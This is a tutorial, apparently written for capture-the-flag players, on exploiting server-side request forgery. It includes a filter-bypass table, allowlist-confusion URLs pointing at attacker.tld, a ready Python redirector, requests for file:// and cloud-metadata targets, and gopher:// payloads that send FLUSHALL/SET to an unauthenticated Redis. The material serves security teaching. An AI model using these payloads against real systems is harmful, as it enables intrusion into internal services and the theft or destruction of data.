SSRF: making the server fetch the flag for you
A CTF web box almost never exposes the thing that holds the flag. Server-side request forgery is how you borrow the server's network position - the features that fetch URLs, the filter bypasses that actually work, and the internal endpoints worth asking for once you are through.
Every web challenge has a topology, and the flag is almost never on the host you can reach. It is on 127.0.0.1:8000, on an internal-api container the compose file put on a bridge network, in a Redis instance with no password because nothing outside the network can talk to it. The public host is the only door, and the challenge is a question about whether that door will make a phone call on your behalf.
That is all server-side request forgery is: a feature that fetches a URL, where you control the URL. The vulnerability is boring, and it is the same shape as argument injection into curl when the fetch happens through a subprocess rather than an HTTP library. What makes SSRF a good CTF category - and what makes it worth learning properly rather than by copying payloads - is that the exploit is never the SSRF itself. It is what you find once you are inside, and the interesting work is the chain.
Step one: find the feature that fetches
Before you test anything, inventory the places the application could plausibly make an outbound request. In a CTF this list is short, because the author had to build the vulnerable feature on purpose, but authors are good at burying it.
- Anything that takes a URL as input. Import-from-URL, avatar-by-link, webhook configuration, "check if my site is up", link preview, RSS reader, proxy endpoints with a
url=parameter. - Anything that renders a document. HTML-to-PDF converters fetch every
<img>,<link>, and<iframe>in the document you hand them. So does a screenshot service. So does a Markdown renderer that resolves remote images. - Anything that parses XML. An external entity is an outbound fetch with a different syntax. If the app takes XML, SVG, DOCX, or SOAP, XXE and SSRF are the same bug wearing different clothes.
- Anything that follows a redirect. A fetcher that validates your URL once and then follows a 302 has validated nothing.
- File uploads that accept a path.
file:///etc/passwdis an SSRF against the loopback filesystem, and it is very often the first thing that works.
Step two: confirm it fetches, before you get clever
Do not open with http://127.0.0.1. Open with a host you control, because the response tells you three things at once: whether the fetch happens at all, what HTTP client is doing it, and what the server's egress looks like.
# Simplest possible listener. You care about the request line and headers.
python3 -m http.server 8080
# Or, if you want the raw bytes with no HTTP semantics in the way:
nc -lvnp 8080Point the parameter at it and read what arrives. The User-Agent names the library - python-requests, Go-http-client, curl, axios, Java/17, libwww-perl - and the library decides which of the bypasses below will work, because URL parsing bugs are library-specific. If nothing arrives, the fetch may still be happening; the server might have no route to you. Try a DNS-only callback next, since DNS resolution often escapes a network that blocks outbound TCP.
Step three: get past the filter
A challenge that lets http://127.0.0.1/ through on the first try is a tutorial. Anything harder ships a filter, and the filter is the actual puzzle. There are only two kinds, and they fail in opposite ways.
Blocklists: the address has many spellings
A blocklist bans strings. The defence assumes there is one way to write 127.0.0.1, and there are dozens. None of these change where the request goes; they change whether the filter recognises it.
| Form | Example for 127.0.0.1 | Why it slips through |
|---|---|---|
| Alternate loopback | 127.1, 127.0.1, 0.0.0.0, 0 | Shortened dotted-quad forms are expanded by the resolver, not by the filter |
| Decimal (dword) | 2130706433 | The 32-bit integer form; inet_aton accepts it, a regex for dots does not |
| Octal | 0177.0.0.01 | Leading zeros mean base 8 to the C resolver |
| Hex | 0x7f.0x0.0x0.0x1 or 0x7f000001 | Same address, no decimal digits to match on |
| Mixed base | 0177.0.0.0x1 | Defeats filters that check for one encoding at a time |
| IPv6 | [::1], [::ffff:127.0.0.1], [0:0:0:0:0:ffff:7f00:1] | The blocklist was written for IPv4 and never extended |
| Your own DNS | localtest.me, or an A record you set to 127.0.0.1 | The string is a public domain; only the resolution is local |
| Redirect | A 302 from your host to http://127.0.0.1/ | The submitted URL contains nothing banned |
The redirect trick deserves its own note because it beats a whole class of otherwise-correct filters. A server that resolves your hostname, checks the resulting IP against a private-range blocklist, and *then* hands the URL to a client with redirects enabled has checked the wrong request. Serve a 302 to the internal target and the validated hop is not the hop that matters. The clean version of this defence resolves once and connects to that resolved address with redirects disabled - if the challenge does that, you need a different way in.
# A redirector small enough to paste. Point the target's fetcher here.
from http.server import BaseHTTPRequestHandler, HTTPServer
TARGET = "http://127.0.0.1:8000/flag"
class R(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", TARGET)
self.end_headers()
HTTPServer(("0.0.0.0", 8080), R).serve_forever()Allowlists: the parser and the filter disagree
An allowlist is stricter and harder to beat, and the way through is almost always a disagreement about where the hostname ends in a URL. A filter written as a substring check or a loose regex looks for the allowed domain *anywhere* in the string; the URL parser looks for it in one specific position.
https://allowed.example.com@127.0.0.1/ -> host is 127.0.0.1 (userinfo)
https://127.0.0.1/allowed.example.com -> host is 127.0.0.1 (path)
https://127.0.0.1#allowed.example.com -> host is 127.0.0.1 (fragment)
https://127.0.0.1?x=allowed.example.com -> host is 127.0.0.1 (query)
https://allowed.example.com.attacker.tld/ -> host is attacker.tld (suffix)
https://attacker.tld/?x=allowed.example.com -> host is attacker.tld
https://allowed.example.com\@127.0.0.1/ -> parser-dependent, worth tryingThe other route through an allowlist is an open redirect on an allowed host. If cdn.example.com/r?to= will bounce you anywhere, and cdn.example.com is allowlisted, then the allowlist is now an allowlist of everywhere. Chaining an open redirect into an SSRF is one of the most common two-bug chains in CTF web, and it is worth checking for a redirect parameter on every in-scope host before you conclude a filter is airtight.
Step four: what to ask for
You are through the filter. Now the question is what lives on the internal network, and in a containerised CTF the answer is usually short. Work through this order.
- The loopback web server on another port.
http://127.0.0.1:8000/,:5000,:3000,:8080,:9200. The admin panel the public host proxies away is very often just a different port on the same box. - `file://`. If the fetcher is curl or a URL library with the scheme enabled,
file:///etc/passwd,file:///proc/self/environ(environment variables, which is where the flag lives more often than it should),file:///proc/self/cwd/flag.txt, andfile:///app/flagare all one request each. - Cloud instance metadata.
http://169.254.169.254/latest/meta-data/on AWS, andhttp://metadata.google.internal/computeMetadata/v1/on GCP - the latter demanding aMetadata-Flavor: Googleheader, which is exactly why it is a good challenge: you need an SSRF primitive that can set headers. - Other containers by service name. Docker Compose gives every service a DNS name.
http://redis:6379/,http://db:5432/,http://internal-api/- read the challenge's compose file if you were given one, and guess from the challenge theme if you were not. - The network itself. Sweep
10.0.0.0/24or172.17.0.0/24a host at a time and diff the responses. Different error text, different status, or a markedly different response time distinguishes a live host from a dead one - and that difference is readable even when the body is not.
Step five: SSRF is a transport, not a payload
The step that turns a proof-of-concept into a flag is realising that an SSRF gives you a write primitive against any protocol whose first message is text you can spell in a URL. gopher:// is the classic vehicle: it sends a raw, URL-encoded byte string to any host and port, with no HTTP framing bolted on the front.
# Redis with no auth, reachable only from inside. Write a job, get code exec.
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A...
# An unauthenticated internal POST, spelled out by hand.
gopher://internal-api:80/_POST%20/admin/flag%20HTTP/1.1%0D%0AHost:%20internal-api%0D%0A%0D%0AWhether this works comes down to the fetching library. PHP's curl wrapper speaks gopher happily. Python's requests does not. Node's fetch does not. This is why identifying the client from the callback's User-Agent in step two pays for itself - it tells you in advance whether the gopher path is even open, and saves you an hour of encoding CRLFs for a client that will never send them.
When gopher is unavailable, the same idea survives in weaker forms. dict://host:port/ reaches line-based protocols. An HTTP request with a header you control can smuggle a line break into an internal request. And plain http:// against an internal JSON API is often enough on its own, because an internal service that trusts its network usually has no auth at all.
Working the blind case
When nothing comes back, you are doing inference, and inference needs a baseline. Fix everything except the one field you are varying, take three measurements of a known-good target and three of a known-bad one, and only then start scanning. What you are looking for is not a specific number of milliseconds - it is a bimodal distribution.
| Observation | Usual meaning |
|---|---|
| 200 vs 500 across addresses | The app is surfacing connect success and failure - the cleanest oracle you can get |
| Identical status, different error strings | Read the strings; a connection-refused message and a parse-error message mean opposite things |
| Identical everything, different timing | Firewalled or unrouted addresses hang; refused ones fail instantly |
| Identical everything, always | Either the fetch is not happening, or the app catches every exception into one generic path - go back and re-verify with your own listener |
If the app catches everything, look for a second-order channel. A fetched URL that ends up rendered into a PDF, logged into a page you can read, cached under a key you can request, or reflected in an error page an hour later is still an output - it just is not the HTTP response you were staring at.
A worked shape
The composite challenge that shows up over and over looks like this, and recognising the shape saves you the exploration.
- A public app has an avatar-by-URL feature, and rejects anything resolving into a private range.
- A second in-scope host has an open redirect - a
?next=parameter that does not validate its destination. - The avatar fetcher follows redirects, so
https://second-host/?next=http://127.0.0.1:8000/passes validation and lands internally. - Port 8000 is an internal admin API with no authentication, because it is only reachable from inside.
- Its
/debugroute reflects environment variables, and the flag is in one.
No single step in that chain is difficult. What makes it a challenge is that four separate observations have to be held in mind at once, which is an argument for writing them down as you make them rather than trusting that you will remember which host had the redirect.
The short version
- Inventory every feature that could fetch a URL, including PDF renderers and XML parsers.
- Confirm with a listener you control, and read the
User-Agentto identify the client. - If there is a filter, decide whether it is a blocklist (try encodings, IPv6, DNS, redirects) or an allowlist (try userinfo and path confusion, or an open redirect on an allowed host).
- Ask for loopback ports,
file://, cloud metadata, and Compose service names, in that order. - If you need a protocol rather than a page, try
gopher://- and check first whether the client speaks it. - If it is blind, build a baseline and read status, error text, and timing as your oracle.